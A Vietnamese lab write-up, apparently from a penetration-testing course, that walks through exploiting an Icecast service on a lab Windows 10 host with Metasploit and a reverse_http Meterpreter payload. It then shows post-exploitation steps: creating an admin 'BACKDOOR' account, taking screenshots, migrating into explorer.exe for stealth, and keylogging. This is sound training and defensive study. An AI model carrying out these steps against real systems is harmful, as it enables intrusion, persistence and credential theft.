Lab 2.2 Metasploit and Meterpreter
[!info]- Metasploit
- Là một kho vũ khí (công cụ) phục vụ cho việc phát hiện, khai thác và xác thực lỗ hổng
- Metasploit gồm
- Mã khai thác (Exploit): Các đoạn mã tận dụng lỗi phần mềm để đột nhập vào hệ thống. Exploit là mã khai thác vào một lỗ hổng nào đó. Ví dụ mã khai thác vào lỗ hổng Buffer Overflow là một exploit.
- Payload (Mã thực thi): Những gì kẻ tấn công muốn chạy trên máy mục tiêu sau khi xâm nhập thành công (ví dụ: tạo Meterpreter shell, lấy dữ liệu,….)
- Auxiliary (Module phụ trợ): Các công cụ quét cổng, dò tìm mật khẩu hoặc kiểm tra lỗ hổng mà không cần khai thác trực tiếp
- Nó hoạt động thế nào? Quy trình
- Tìm kiếm: Chọn một llỗ hổng đã biết trên mục tiêu.
- Cấu hình: Thiết lập địa chỉ IP (LHOST, RHOST) và chọn Payload.
- Khai thác: Thực hiện lệnh
exploitđể chiếm quyền điều khiển.
Đọc các tìm hiểu chi tiết hơn tại: Metasploit
[!info]- Meterpreter
Meterpreter là một payload (mã khai thác) nâng cao và cực kỳ mạnh mẽ thuộc Metasploit Framework, Thay vì chỉ cung cấp một shell dòng lệnh thông thường, Meterpreter hoạt động như một “siêu shell” với khả năng điều khiển máy mục tiêu một cách toàn diện và bí mật
Quy trình thực hiện bài lab này
-
bước 1: cấu hình metasploit để khai thác Icecast
-
Bước 2: exploit dịch vụ mục tiêu, gửi stager reverse_tcp dưới dạng payload với stage Meterpreter.
-
Bước 3: Sử dụng Meterpreter chạy bên trong không gian bộ nhớ của Icecast, chuyển hướng kết nối TCP ngược trở lại cho kẻ tấn công.
-
Bước 4: Tương tác với Meterpreter đang chạy bên trong tiến trình Icecast của máy bị xâm nhập.
Sơ đồ
1: Metasploit on Linux
Gọi metasploit bằng lệnh
msfconsole
Khi dấu nhắc lệnh là
msf6>
Thì là ta đang tương tác với metasploit framework
Xem các module exploit của metasploit: show exploits

Có đến 2271 module
Tìm module exploit của dịch vụ mà ta muốn khai thác: search icecast

Ranking (xếp hạng) của một module exploit cho biết mức độ tin cậy và khả năng gây treo hệ thống (crash) khi thực thi mã khai thác đó
Ok, giờ thì chọn module exploit

Dấu nhắc lệnh đã thay đổi, cho thấy những gì nhập vào tiếp theo là thực hiện bởi module đã chọn
Ngoài ra windows/meterpreter/reverse_tcp là payload mặc định nếu ta không chỉ định payload nào. Nhưng ta sẽ chọn payload khác

Ta đã chọn một payload meterpreter khác đó là reverse_http: Payload này để tạo một kết nối HTTP từ máy mục tiêu ngược về máy tấn công
Xem cấu hình của module exploit hiện tại: show options

RHOST = Remote host ? Là địa chỉ IP máy mục tiêu
Set RHOST là máy .25 (Máy SEC560 Windows 10)

Và để reverse shell hoạt động thì cần cho máy mục tiêu biết nó cần kết nối đến đâu => chính là địa chỉ LHOST = máy tấn công của chúng ta
set LHOST = eth0

Đã cấu hình xong, kiểm tra lại 1 lần nữa
Âu kaay, cấu hình xong thì chuyển sang giai đoạn khai thác thôi
Trước tiên thì cần mở dịch vụ icecast trên máy SEC560 Win 10 lên cái đã
chú ý là máy windows 10 phải đang đăng nhập với tài khoản sec560 ở local nhé, không phải ở domain hiboxy. Giao diện khi đăng nhập đúng thì sẽ là như này

mở icecast với quyền admin và start nó

2. Kích hoạt tấn công
Trở lại máy tấn công, gõ run

Dấu nhắc lệnh đã chuyển qua meterpreter, giờ ta gõ gì thì tức là đang tương tác với meterpreter, nếu muốn tương tác với metasploit thì cần gõ background

Từ metasploit, muốn trở lại meterpreter khai thác icecast thì cần kiểm tra đúng sessions id của nó, xem danh sách các sessions bằng lệnh sessions 
muốn trở lại sessions nào thì sử dụng id của sessions đó
trở lại session tấn công icecast:

Trở lại session tấn công icecast thành công
4. Meterpreter
Phiên hiện tại đang thực sự có thể điều khiển hệ thống
Chú ý là shell meterpreter có cú pháp khác với shell của hệ thống mục tiêu (ở đây là windows), do đó nếu không rõ cú pháp của meterpreter thế nào thfi có thể gõ lệnh help để tra cứu
Thực hiện kiểm tra hệ thống:

Xác định user đang bị tấn công
Để tấn công thì ta cần sử dụng username mà đã khởi chạy máy chủ Icecast (ban nãy là sec560) vì meterpreter đang chạy từ bên trong không gian bộ nhớ của tài khoản đó.
Mỗi user trên windows khi chạy sẽ được Windows phân chia tài nguyên hệ thống riêng biệt, kiểu như tài khoản thang1 thì có RAM riêng biệt với tài khoản thang2
Âu kê, giờ kiểm tra tiến trình

Kiểm tra xem tiến trình icecast được chạy bởi user nào

Note lại user và PID
Tiếp theo là thực hiện một vài thao tác với thư mục:

5.Shell
Nếu cảm thấy thao tác với meterpreter khó quá thì có thể chạy shell của Windows nếu quen thuộc hơn

Với shell của windows, ta có thể gõ các lệnh thuần windows hơn như hostname, ipconfig (thay vì shell meterpreter thì phải gõ getuid và ifconfig):

Kiểm tra các user có trên hệ thống

Tạo một tài khoản mới, đặt tên là BACKDOOR

Kiểm tra

Cấp quyền quản trị viên cho tài khoản BACKDOOR

Kiểm tra

Nghịch xong rồi thì xóa thôi

6. More Meterpreter Features
Chụp ảnh màn hình
Thoát shell windows, gõ exit, Trở về shell của meterpreter
Thử chụp ảnh màn hình máy mục tiêu, sử dụng screenshot

Mở ảnh bằng firefox
Di cư (migrate) DLL Meterpreter sang một tiến trình khác
Chuyền từ tiến trình icecast2.exe sang explorer.exe
Kẻ tấn công chọn chuyển sang tiến trình explorer.exe (Giao diện Windows/File Explorer) vì những lý do chiến thuật:
-
Sự bền bỉ (Persistence): explorer.exe là tiến trình cốt lõi của giao diện người dùng. Nó luôn chạy từ lúc người dùng đăng nhập cho đến khi họ tắt máy hoặc đăng xuất.
-
Tàng hình (Stealth): Việc explorer.exe thực hiện các kết nối mạng hoặc truy cập file thường được coi là hành vi “bình thường”, giúp bạn lẩn khuất tốt hơn trước các hệ thống giám sát.
Âu kaay, giờ thì lấy pid của tiến trình hiện tại và pid của explorer.exe

Di cư vào tiến trình explorer.exe bằng lệnh migrate

Di cư thành công
Kiểm tra

Ôkage
[!tip] Nếu tiến trình đích bị sập
Nếu tiến trình đích bị sập, ko seo cả, ta có thể thoát phiên meterpreter đó ra (bằng CtrlC hoặc exit) rồi khai thác lại từ đầu vào icecast: từmsf>nhậprun
[!info] Liên tưởng về bài Section 1 của VSEC - Malware Analysis
Khi thực hiện rà soát, giờ mình mới hiểu tại sao phải rà soát DLL Injection các tiến trình.
Một tiến trình lạ thì dễ nhận biết nhưng tiến trình uy tín như explorer.exe cũng có thể bị khai thác như này => Phải kiểm tra kỹ hơn
Ghi lại thao tác gõ phím (Keystroke logging)
Trên meterpreter chạy lệnh keyscan_start
Qua máy windows, gõ văn bản thử

Kiểm tra những gì đã nhập

Nếu không dừng thì nó vẫn sẽ lắng nghe như thế


Để dừng ghi log bàn phím, chạy keyscan_stop